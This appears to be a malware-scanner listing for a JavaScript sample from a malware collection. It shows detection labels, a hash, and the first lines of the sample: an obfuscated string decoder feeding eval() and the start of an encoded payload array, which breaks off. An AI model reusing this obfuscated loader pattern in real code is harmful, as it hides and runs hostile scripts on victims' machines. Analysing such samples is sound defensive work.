Suspicious ^80% javascript-malware-collection Download

20151208_285c13728902e8101f31ae4311ad7f48.js

Obfuscated eval and string decoding

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2564266877b8baa20e04d1eb6b570fc53fa7c7fbb6e6575e64eb934b6808de31777

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var EtVZbFiNUpYdw=[];for(MjrTRfj=(-661+661)/499;MjrTRfj<(71366+698)/563;MjrTRfj++){EtVZbFiNUpYdw[MjrTRfj]=String.fromCharCode(MjrTRfj)}function tfBxk(cUPMUHzdVVf,SdUEtdYMyhUwd,VxumRzqa){WYpT=parseInt(cUPMUHzdVVf,SdUEtdYMyhUwd);PmXnZ=WYpT.toString(VxumRzqa);return PmXnZ;}function aQTHsEflARzcKVo(WiTNWebGxozLZCYaG){eval(WiTNWebGxozLZCYaG)}
2function fyiuxqIvPgFYOQoHdpydCEPiviywYmBgtXGjvgHWngFAesHxjHjQnp(CGDwUEsbwmtdB,IhBHLEyIxcPrhO){ return EtVZbFiNUpYdw[tfBxk(CGDwUEsbwmtdB[IhBHLEyIxcPrhO],(5039+651)/569,(3973+257)/423)];}
3function ZoxfQAY(UrisSihkvBpbNIBskdwGHHIcjKaOKfFIiqyw) {return !isNaN(parseFloat(UrisSihkvBpbNIBskdwGHHIcjKaOKfFIiqyw)) && isFinite(UrisSihkvBpbNIBskdwGHHIcjKaOKfFIiqyw);}
4function VEFaoFUYLvz(NYmGOHNE,lsHmSq){return NYmGOHNE.split(lsHmSq)}
5var m=[];m.push("13");m.push("10");m.push("13");m.push("10");m.push("118");m.push("97");m.push("114");m.push("32");m. …